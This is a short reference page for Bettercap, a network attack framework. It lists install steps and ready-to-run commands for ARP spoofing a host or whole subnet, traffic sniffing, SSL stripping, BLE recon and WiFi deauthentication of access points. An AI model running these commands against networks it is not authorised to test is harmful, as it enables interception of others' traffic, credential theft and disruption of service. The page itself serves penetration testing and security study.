Skip to content

Bettercap

Swiss Army knife for network attacks and WiFi/BLE recon

Description

Bettercap is a powerful, modular, portable network attack and monitoring framework. It supports WiFi, Bluetooth Low Energy, HID, and ethernet network reconnaissance and MITM attacks.

Installation

BASH
sudo apt install bettercap
# Or from source
go install github.com/bettercap/bettercap@latest

Basic Usage

BASH
# Start interactive mode
sudo bettercap -iface eth0

# WiFi recon
sudo bettercap -iface wlan0mon
wifi.recon on
wifi.show

# ARP spoofing
sudo bettercap -iface eth0
net.probe on
set arp.spoof.targets 192.168.1.50
arp.spoof on
net.sniff on

Advanced Usage

BASH
# BLE scanning
sudo bettercap
ble.recon on
ble.show

# HTTP/HTTPS proxy
set http.proxy.sslstrip true
http.proxy on

# Caplets (automation scripts)
sudo bettercap -caplet http-ui
sudo bettercap -caplet pita        # Deauth all nearby APs

# WiFi deauth
wifi.recon on
wifi.deauth AA:BB:CC:DD:EE:FF

Common Workflows

BASH
# Full network MitM
sudo bettercap -iface eth0 -eval "net.probe on; set arp.spoof.fullduplex true; set arp.spoof.targets 192.168.1.0/24; arp.spoof on; net.sniff on"